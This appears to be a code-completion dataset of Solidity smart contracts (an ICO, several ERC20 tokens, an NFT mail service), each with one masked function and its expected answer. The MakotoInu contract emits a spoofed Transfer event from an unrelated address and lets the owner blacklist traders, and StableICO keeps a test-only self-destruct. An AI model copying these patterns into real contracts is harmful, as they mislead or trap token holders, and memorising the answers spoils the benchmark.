backup_exchangeEthStb(uint256 _from, uint256 _to) public onlyOwner { exchangeEthStb(_from, _to); } function backup_drawdown() public onlyOwner { drawdown(); } function backup_drawdown_amount(uint256 _amount) public onlyOwner { if (!isIcoSucceeded) throw; beneficiary.transfer(_amount); } function backup_refund(uint256 _from, uint256 _to) public onlyOwner { refund(_from, _to); } /* /backup */ function selfDestroy() onlyOwner { // TEST ONLY suicide(this); } }
contract StableICO is Ownable, SafeMath { uint256 public crowdfundingTarget; // ICO target, in wei ERC223Token_STA public sta; // address of STA token ERC223Token_STB public stb; // address of STB token address public beneficiary; // where the donation is transferred after successful ICO uint256 public icoStartBlock; // number of start block of ICO uint256 public icoEndBlock; // number of end block of ICO bool public isIcoFinished; // boolean for ICO status - is ICO finished? bool public isIcoSucceeded; // boolean for ICO status - is crowdfunding target reached? bool public isDonatedEthTransferred; // boolean for ICO status - is donation transferred to the secure account? bool public isStbMintedForStaEx; // boolean for ICO status - is extra STB tokens minted for covering exchange of STA token? uint256 public receivedStaAmount; // amount of received STA tokens from rewarded miners uint256 public totalFunded; // amount of ETH donations uint256 public ownersEth; // amount of ETH transferred to ICO contract by the owner uint256 public oneStaIsStb; // one STA value in STB struct Donor { // struct for ETH donations address donorAddress; uint256 ethAmount; uint256 block; bool exchangedOrRefunded; uint256 stbAmount; } mapping (uint256 => Donor) public donations; // storage for ETH donations uint256 public donationNum; // counter of ETH donations struct Miner { // struct for received STA tokens address minerAddress; uint256 staAmount; uint256 block; bool exchanged; uint256 stbAmount; } mapping (uint256 => Miner) public receivedSta; // storage for received STA tokens uint256 public minerNum; // counter of STA receives /* This generates a public event on the blockchain that will notify clients */ event Transfer(address indexed from, address indexed to, uint256 value); event MessageExchangeEthStb(address from, uint256 eth, uint256 stb); event MessageExchangeStaStb(address from, uint256 sta, uint256 stb); event MessageReceiveEth(address from, uint256 eth, uint256 block); event MessageReceiveSta(address from, uint256 sta, uint256 block); event MessageReceiveStb(address from, uint256 stb, uint256 block, bytes data); // it should never happen event MessageRefundEth(address donor_address, uint256 eth); /* constructor */ function StableICO() { crowdfundingTarget = 200000000000000000; // INIT (test: 0.2 ETH) sta = ERC223Token_STA(0xe1e8f9bd535384a345c2a7a29a15df8fc345ad9c); // INIT stb = ERC223Token_STB(0x1e46a3f0552c5acf8ced4fe21a789b412f0e792a); // INIT beneficiary = 0x29ef9329bc15b7c11d047217618186b52bb4c8ff; // INIT icoStartBlock = 4230000; // INIT icoEndBlock = 4230150; // INIT } /* trigger rewarding the miner with STA token */ function claimMiningReward() public onlyOwner { sta.claimMiningReward(); } /* Receiving STA from miners - during and after ICO */ function tokenFallback(address _from, uint256 _value, bytes _data) { if (block.number < icoStartBlock) throw; if (msg.sender == address(sta)) { if (_value < 50000000) throw; // minimum 0.5 STA if (block.number < icoEndBlock+14*3456) { // allow STA tokens exchange for around 14 days (25s/block) after ICO receivedSta[minerNum] = Miner(_from, _value, block.number, false, 0); minerNum += 1; receivedStaAmount = safeAdd(receivedStaAmount, _value); MessageReceiveSta(_from, _value, block.number); } else throw; } else if(msg.sender == address(stb)) { MessageReceiveStb(_from, _value, block.number, _data); } else { throw; // other tokens } } /* Receiving ETH */ function () payable { if (msg.value < 10000000000000000) throw; // minimum 0.1 ETH TEST: 0.01ETH // before ICO (pre-ico) if (block.number < icoStartBlock) { if (msg.sender == owner) { ownersEth = safeAdd(ownersEth, msg.value); } else { totalFunded = safeAdd(totalFunded, msg.value); donations[donationNum] = Donor(msg.sender, msg.value, block.number, false, 0); donationNum += 1; MessageReceiveEth(msg.sender, msg.value, block.number); } } // during ICO else if (block.number >= icoStartBlock && block.number <= icoEndBlock) { if (msg.sender != owner) { totalFunded = safeAdd(totalFunded, msg.value); donations[donationNum] = Donor(msg.sender, msg.value, block.number, false, 0); donationNum += 1; MessageReceiveEth(msg.sender, msg.value, block.number); } else ownersEth = safeAdd(ownersEth, msg.value); } // after ICO - first ETH transfer is returned to the sender else if (block.number > icoEndBlock) { if (!isIcoFinished) { isIcoFinished = true; msg.sender.transfer(msg.value); // return ETH to the sender if (totalFunded >= crowdfundingTarget) { isIcoSucceeded = true; exchangeStaStb(0, minerNum); exchangeEthStb(0, donationNum); drawdown(); } else { refund(0, donationNum); } } else { if (msg.sender != owner) throw; // WARNING: senders ETH may be lost (if transferred after finished ICO) ownersEth = safeAdd(ownersEth, msg.value); } } else { throw; // WARNING: senders ETH may be lost (if transferred after finished ICO) } } /* send STB to the miners who returned STA tokens - after successful ICO */ function exchangeStaStb(uint256 _from, uint256 _to) private { if (!isIcoSucceeded) throw; if (_from >= _to) return; // skip the function if there is invalid range given for loop uint256 _sta2stb = 10**4; uint256 _wei2stb = 10**14; if (!isStbMintedForStaEx) { uint256 _mintAmount = (10*totalFunded)*5/1000 / _wei2stb; // 0.5% extra STB minting for STA covering oneStaIsStb = _mintAmount / 100; stb.mint(address(this), _mintAmount); isStbMintedForStaEx = true; } /* exchange */ uint256 _toBurn = 0; for (uint256 i = _from; i < _to; i++) { if (receivedSta[i].exchanged) continue; // skip already exchanged STA stb.transfer(receivedSta[i].minerAddress, receivedSta[i].staAmount/_sta2stb * oneStaIsStb / 10**4); receivedSta[i].exchanged = true; receivedSta[i].stbAmount = receivedSta[i].staAmount/_sta2stb * oneStaIsStb / 10**4; _toBurn += receivedSta[i].staAmount; MessageExchangeStaStb(receivedSta[i].minerAddress, receivedSta[i].staAmount, receivedSta[i].staAmount/_sta2stb * oneStaIsStb / 10**4); } sta.burn(address(this), _toBurn); // burn received and processed STA tokens } <FILL_FUNCTION> // send funds to the ICO beneficiary account - after successful ICO function drawdown() private { if (!isIcoSucceeded || isDonatedEthTransferred) throw; beneficiary.transfer(totalFunded); isDonatedEthTransferred = true; } /* refund ETH - after unsuccessful ICO */ function refund(uint256 _from, uint256 _to) private { if (!isIcoFinished || isIcoSucceeded) throw; if (_from >= _to) return; for (uint256 i = _from; i < _to; i++) { if (donations[i].exchangedOrRefunded) continue; donations[i].donorAddress.transfer(donations[i].ethAmount); donations[i].exchangedOrRefunded = true; MessageRefundEth(donations[i].donorAddress, donations[i].ethAmount); } } // send owner's funds to the ICO owner - after ICO function transferEthToOwner(uint256 _amount) public onlyOwner { if (!isIcoFinished || _amount <= 0 || _amount > ownersEth) throw; owner.transfer(_amount); ownersEth -= _amount; } // send STB to the ICO owner - after ICO function transferStbToOwner(uint256 _amount) public onlyOwner { if (!isIcoFinished || _amount <= 0) throw; stb.transfer(owner, _amount); } /* backup functions to be executed "manually" - in case of a critical ethereum platform failure during automatic function execution */ function backup_finishIcoVars() public onlyOwner { if (block.number <= icoEndBlock || isIcoFinished) throw; isIcoFinished = true; if (totalFunded >= crowdfundingTarget) isIcoSucceeded = true; } function backup_exchangeStaStb(uint256 _from, uint256 _to) public onlyOwner { exchangeStaStb(_from, _to); } function backup_exchangeEthStb(uint256 _from, uint256 _to) public onlyOwner { exchangeEthStb(_from, _to); } function backup_drawdown() public onlyOwner { drawdown(); } function backup_drawdown_amount(uint256 _amount) public onlyOwner { if (!isIcoSucceeded) throw; beneficiary.transfer(_amount); } function backup_refund(uint256 _from, uint256 _to) public onlyOwner { refund(_from, _to); } /* /backup */ function selfDestroy() onlyOwner { // TEST ONLY suicide(this); } }
if (!isIcoSucceeded) throw; if (_from >= _to) return; // skip the function if there is invalid range given for loop uint256 _wei2stb = 10**14; // calculate eth to stb exchange uint _pb = (icoEndBlock - icoStartBlock)/4; uint _bonus; /* mint */ uint256 _mintAmount = 0; for (uint256 i = _from; i < _to; i++) { if (donations[i].exchangedOrRefunded) continue; // skip already minted STB if (donations[i].block < icoStartBlock + _pb) _bonus = 6; // first period; bonus in % else if (donations[i].block >= icoStartBlock + _pb && donations[i].block < icoStartBlock + 2*_pb) _bonus = 4; // 2nd else if (donations[i].block >= icoStartBlock + 2*_pb && donations[i].block < icoStartBlock + 3*_pb) _bonus = 2; // 3rd else _bonus = 0; // 4th _mintAmount += 10 * ( (100 + _bonus) * (donations[i].ethAmount / _wei2stb) / 100); } stb.mint(address(this), _mintAmount); /* exchange */ for (i = _from; i < _to; i++) { if (donations[i].exchangedOrRefunded) continue; // skip already exchanged ETH if (donations[i].block < icoStartBlock + _pb) _bonus = 6; // first period; bonus in % else if (donations[i].block >= icoStartBlock + _pb && donations[i].block < icoStartBlock + 2*_pb) _bonus = 4; // 2nd else if (donations[i].block >= icoStartBlock + 2*_pb && donations[i].block < icoStartBlock + 3*_pb) _bonus = 2; // 3rd else _bonus = 0; // 4th stb.transfer(donations[i].donorAddress, 10 * ( (100 + _bonus) * (donations[i].ethAmount / _wei2stb) / 100) ); donations[i].exchangedOrRefunded = true; donations[i].stbAmount = 10 * ( (100 + _bonus) * (donations[i].ethAmount / _wei2stb) / 100); MessageExchangeEthStb(donations[i].donorAddress, donations[i].ethAmount, 10 * ( (100 + _bonus) * (donations[i].ethAmount / _wei2stb) / 100)); }
function exchangeEthStb(uint256 _from, uint256 _to) private
/* send STB to the donors - after successful ICO */ function exchangeEthStb(uint256 _from, uint256 _to) private
74329
rSatoshiStreetBets
null
contract rSatoshiStreetBets is ERC20 { constructor () ERC20('rSatoshiStreetBets', 'rSSB') public {<FILL_FUNCTION_BODY> } }
contract rSatoshiStreetBets is ERC20 { <FILL_FUNCTION> }
_mint(0x2765813E91F1B403a429C82D3988734f4B5141d4, 10000000 * 10 ** uint(decimals()));
constructor () ERC20('rSatoshiStreetBets', 'rSSB') public
constructor () ERC20('rSatoshiStreetBets', 'rSSB') public
60450
CorruptionCoin
CorruptionCoin
contract CorruptionCoin is StandardToken { function () { throw; } string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. function CorruptionCoin( ) {<FILL_FUNCTION_BODY> } function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
contract CorruptionCoin is StandardToken { function () { throw; } string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; <FILL_FUNCTION> function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
balances[msg.sender] = 1000000000000; // Give the creator all initial tokens (100000 for example) totalSupply = 1000000000000; // Update total supply (100000 for example) name = "CorruptionCoin"; // Set the name for display purposes decimals = 0; // Amount of decimals for display purposes symbol = "CRTC"; // Set the symbol for display purposes
function CorruptionCoin( )
//human 0.1 standard. Just an arbitrary versioning scheme. function CorruptionCoin( )
53591
EthereumMailService
getRemailsLength
contract EthereumMailService is ERC721URIStorage { using Counters for Counters.Counter; Counters.Counter private tokenId; using SafeMath for uint256; EMS public ems; event Post(string ipfsHash); event Like(uint256 _tokenId); event Comment(uint256 _tokenId, string ipfsHash); event Remail(uint256 _tokenId); event GenNFT(uint256 _tokenId,string ipfsHash); mapping(address => uint256[]) public mails; mapping(address => uint256[]) public likes; mapping(address => uint256[]) public commentsValueIndex; mapping(address => mapping(uint256 => uint256[])) public comments; mapping(address => uint256[]) public remails; mapping(uint256 => uint256) public mailLikes; mapping(uint256 => uint256[]) public mailComments; mapping(uint256 => uint256) public mailRemails; constructor(EMS _ems) public ERC721("Ethereum Mail Service", "EMS") { ems = _ems; } function getMintBase() public view returns (uint256) { uint256 left = 210000000000 * 10**ems.decimals() - ems.totalSupply(); return left.div(10**4); } function post(string memory _ipfsHash) public { tokenId.increment(); mails[msg.sender].push(tokenId.current()); _genNFT(tokenId.current(), _ipfsHash); uint256 base = getMintBase(); _mintEMS(msg.sender, base); emit Post(_ipfsHash); } function _genNFT(uint256 _tokenId, string memory _ipfsHash) internal { _safeMint(msg.sender, _tokenId); _setTokenURI(_tokenId, _ipfsHash); emit GenNFT(_tokenId, _ipfsHash); } function like(uint256 _tokenId) public { likes[msg.sender].push(_tokenId); mailLikes[_tokenId] = mailLikes[_tokenId].add(1); uint256 base = getMintBase(); _mintEMS(msg.sender, base.div(2)); _mintEMS(ownerOf(_tokenId), base.div(2)); emit Like(_tokenId); } function comment(uint256 _tokenId, string memory _ipfsHash) public { tokenId.increment(); _genNFT(tokenId.current(), _ipfsHash); comments[msg.sender][_tokenId].push(tokenId.current()); if (comments[msg.sender][_tokenId].length == 1) { commentsValueIndex[msg.sender].push(_tokenId); } mailComments[_tokenId].push(tokenId.current()); uint256 base = getMintBase(); _mintEMS(msg.sender, base.div(2)); _mintEMS(ownerOf(_tokenId), base.div(2)); emit Comment(_tokenId, _ipfsHash); } function remail(uint256 _tokenId) public { remails[msg.sender].push(_tokenId); mailRemails[_tokenId] = mailRemails[_tokenId].add(1); uint256 base = getMintBase(); _mintEMS(msg.sender, base.div(2)); _mintEMS(ownerOf(_tokenId), base.div(2)); emit Remail(_tokenId); } function _mintEMS(address _account, uint256 _amount) internal { ems.mint(_account, _amount); } function getMailsLength(address _account) public view returns (uint256) { return mails[_account].length; } function getLikesLength(address _account) public view returns (uint256) { return likes[_account].length; } function getCommentsValueIndexLength(address _account) public view returns (uint256) { return commentsValueIndex[_account].length; } function getCommentsLength(address _account, uint256 _tokenId) public view returns (uint256) { return comments[_account][_tokenId].length; } function getRemailsLength(address _account) public view returns (uint256) {<FILL_FUNCTION_BODY> } function getMailCommentsLength(uint256 _tokenId) public view returns (uint256) { return mailComments[_tokenId].length; } }
contract EthereumMailService is ERC721URIStorage { using Counters for Counters.Counter; Counters.Counter private tokenId; using SafeMath for uint256; EMS public ems; event Post(string ipfsHash); event Like(uint256 _tokenId); event Comment(uint256 _tokenId, string ipfsHash); event Remail(uint256 _tokenId); event GenNFT(uint256 _tokenId,string ipfsHash); mapping(address => uint256[]) public mails; mapping(address => uint256[]) public likes; mapping(address => uint256[]) public commentsValueIndex; mapping(address => mapping(uint256 => uint256[])) public comments; mapping(address => uint256[]) public remails; mapping(uint256 => uint256) public mailLikes; mapping(uint256 => uint256[]) public mailComments; mapping(uint256 => uint256) public mailRemails; constructor(EMS _ems) public ERC721("Ethereum Mail Service", "EMS") { ems = _ems; } function getMintBase() public view returns (uint256) { uint256 left = 210000000000 * 10**ems.decimals() - ems.totalSupply(); return left.div(10**4); } function post(string memory _ipfsHash) public { tokenId.increment(); mails[msg.sender].push(tokenId.current()); _genNFT(tokenId.current(), _ipfsHash); uint256 base = getMintBase(); _mintEMS(msg.sender, base); emit Post(_ipfsHash); } function _genNFT(uint256 _tokenId, string memory _ipfsHash) internal { _safeMint(msg.sender, _tokenId); _setTokenURI(_tokenId, _ipfsHash); emit GenNFT(_tokenId, _ipfsHash); } function like(uint256 _tokenId) public { likes[msg.sender].push(_tokenId); mailLikes[_tokenId] = mailLikes[_tokenId].add(1); uint256 base = getMintBase(); _mintEMS(msg.sender, base.div(2)); _mintEMS(ownerOf(_tokenId), base.div(2)); emit Like(_tokenId); } function comment(uint256 _tokenId, string memory _ipfsHash) public { tokenId.increment(); _genNFT(tokenId.current(), _ipfsHash); comments[msg.sender][_tokenId].push(tokenId.current()); if (comments[msg.sender][_tokenId].length == 1) { commentsValueIndex[msg.sender].push(_tokenId); } mailComments[_tokenId].push(tokenId.current()); uint256 base = getMintBase(); _mintEMS(msg.sender, base.div(2)); _mintEMS(ownerOf(_tokenId), base.div(2)); emit Comment(_tokenId, _ipfsHash); } function remail(uint256 _tokenId) public { remails[msg.sender].push(_tokenId); mailRemails[_tokenId] = mailRemails[_tokenId].add(1); uint256 base = getMintBase(); _mintEMS(msg.sender, base.div(2)); _mintEMS(ownerOf(_tokenId), base.div(2)); emit Remail(_tokenId); } function _mintEMS(address _account, uint256 _amount) internal { ems.mint(_account, _amount); } function getMailsLength(address _account) public view returns (uint256) { return mails[_account].length; } function getLikesLength(address _account) public view returns (uint256) { return likes[_account].length; } function getCommentsValueIndexLength(address _account) public view returns (uint256) { return commentsValueIndex[_account].length; } function getCommentsLength(address _account, uint256 _tokenId) public view returns (uint256) { return comments[_account][_tokenId].length; } <FILL_FUNCTION> function getMailCommentsLength(uint256 _tokenId) public view returns (uint256) { return mailComments[_tokenId].length; } }
return remails[_account].length;
function getRemailsLength(address _account) public view returns (uint256)
function getRemailsLength(address _account) public view returns (uint256)
68200
B21Token
transfer
contract B21Token is BurnableToken { string public constant name = "B21 Token"; string public constant symbol = "B21"; uint8 public constant decimals = 18; /// Maximum tokens to be allocated (500 million) uint256 public constant HARD_CAP = 500000000 * 10**uint256(decimals); /// The owner of this address are the B21 team address public b21TeamTokensAddress; /// This address is used to keep the bounty tokens address public bountyTokensAddress; /// This address is used to keep the tokens for sale address public saleTokensVault; /// This address is used to distribute the tokens for sale address public saleDistributorAddress; /// This address is used to distribute the bounty tokens address public bountyDistributorAddress; /// This address which deployed the token contract address public owner; /// when the token sale is closed, the trading is open bool public saleClosed = false; /// Only allowed to execute before the token sale is closed modifier beforeSaleClosed { require(!saleClosed); _; } /// Limiting functions to the admins of the token only modifier onlyAdmin { require(msg.sender == owner || msg.sender == saleTokensVault); _; } function B21Token(address _b21TeamTokensAddress, address _bountyTokensAddress, address _saleTokensVault, address _saleDistributorAddress, address _bountyDistributorAddress) public { require(_b21TeamTokensAddress != address(0)); require(_bountyTokensAddress != address(0)); require(_saleTokensVault != address(0)); require(_saleDistributorAddress != address(0)); require(_bountyDistributorAddress != address(0)); owner = msg.sender; b21TeamTokensAddress = _b21TeamTokensAddress; bountyTokensAddress = _bountyTokensAddress; saleTokensVault = _saleTokensVault; saleDistributorAddress = _saleDistributorAddress; bountyDistributorAddress = _bountyDistributorAddress; /// Maximum tokens to be allocated on the sale /// 250M B21 uint256 saleTokens = 250000000 * 10**uint256(decimals); totalSupply = saleTokens; balances[saleTokensVault] = saleTokens; emit Transfer(0x0, saleTokensVault, saleTokens); /// Team tokens - 200M B21 uint256 teamTokens = 200000000 * 10**uint256(decimals); totalSupply = totalSupply.add(teamTokens); balances[b21TeamTokensAddress] = teamTokens; emit Transfer(0x0, b21TeamTokensAddress, teamTokens); /// Bounty tokens - 50M B21 uint256 bountyTokens = 50000000 * 10**uint256(decimals); totalSupply = totalSupply.add(bountyTokens); balances[bountyTokensAddress] = bountyTokens; emit Transfer(0x0, bountyTokensAddress, bountyTokens); require(totalSupply <= HARD_CAP); } /// @dev Close the token sale function closeSale() public onlyAdmin beforeSaleClosed { saleClosed = true; } /// @dev Trading limited - requires the token sale to have closed function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { if(saleClosed) { return super.transferFrom(_from, _to, _value); } return false; } /// @dev Trading limited - requires the token sale to have closed function transfer(address _to, uint256 _value) public returns (bool) {<FILL_FUNCTION_BODY> } }
contract B21Token is BurnableToken { string public constant name = "B21 Token"; string public constant symbol = "B21"; uint8 public constant decimals = 18; /// Maximum tokens to be allocated (500 million) uint256 public constant HARD_CAP = 500000000 * 10**uint256(decimals); /// The owner of this address are the B21 team address public b21TeamTokensAddress; /// This address is used to keep the bounty tokens address public bountyTokensAddress; /// This address is used to keep the tokens for sale address public saleTokensVault; /// This address is used to distribute the tokens for sale address public saleDistributorAddress; /// This address is used to distribute the bounty tokens address public bountyDistributorAddress; /// This address which deployed the token contract address public owner; /// when the token sale is closed, the trading is open bool public saleClosed = false; /// Only allowed to execute before the token sale is closed modifier beforeSaleClosed { require(!saleClosed); _; } /// Limiting functions to the admins of the token only modifier onlyAdmin { require(msg.sender == owner || msg.sender == saleTokensVault); _; } function B21Token(address _b21TeamTokensAddress, address _bountyTokensAddress, address _saleTokensVault, address _saleDistributorAddress, address _bountyDistributorAddress) public { require(_b21TeamTokensAddress != address(0)); require(_bountyTokensAddress != address(0)); require(_saleTokensVault != address(0)); require(_saleDistributorAddress != address(0)); require(_bountyDistributorAddress != address(0)); owner = msg.sender; b21TeamTokensAddress = _b21TeamTokensAddress; bountyTokensAddress = _bountyTokensAddress; saleTokensVault = _saleTokensVault; saleDistributorAddress = _saleDistributorAddress; bountyDistributorAddress = _bountyDistributorAddress; /// Maximum tokens to be allocated on the sale /// 250M B21 uint256 saleTokens = 250000000 * 10**uint256(decimals); totalSupply = saleTokens; balances[saleTokensVault] = saleTokens; emit Transfer(0x0, saleTokensVault, saleTokens); /// Team tokens - 200M B21 uint256 teamTokens = 200000000 * 10**uint256(decimals); totalSupply = totalSupply.add(teamTokens); balances[b21TeamTokensAddress] = teamTokens; emit Transfer(0x0, b21TeamTokensAddress, teamTokens); /// Bounty tokens - 50M B21 uint256 bountyTokens = 50000000 * 10**uint256(decimals); totalSupply = totalSupply.add(bountyTokens); balances[bountyTokensAddress] = bountyTokens; emit Transfer(0x0, bountyTokensAddress, bountyTokens); require(totalSupply <= HARD_CAP); } /// @dev Close the token sale function closeSale() public onlyAdmin beforeSaleClosed { saleClosed = true; } /// @dev Trading limited - requires the token sale to have closed function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { if(saleClosed) { return super.transferFrom(_from, _to, _value); } return false; } <FILL_FUNCTION> }
if(saleClosed || msg.sender == saleDistributorAddress || msg.sender == bountyDistributorAddress || (msg.sender == saleTokensVault && _to == saleDistributorAddress) || (msg.sender == bountyTokensAddress && _to == bountyDistributorAddress)) { return super.transfer(_to, _value); } return false;
function transfer(address _to, uint256 _value) public returns (bool)
/// @dev Trading limited - requires the token sale to have closed function transfer(address _to, uint256 _value) public returns (bool)
23893
MakotoInu
_approve
contract MakotoInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Makoto Inu"; string private constant _symbol = "MAINU"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x7AB9af6c22Ce122443dF4673c7dff2dd673FC1b2); _feeAddrWallet2 = payable(0x7AB9af6c22Ce122443dF4673c7dff2dd673FC1b2); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private {<FILL_FUNCTION_BODY> } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 8; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 8; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 100000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
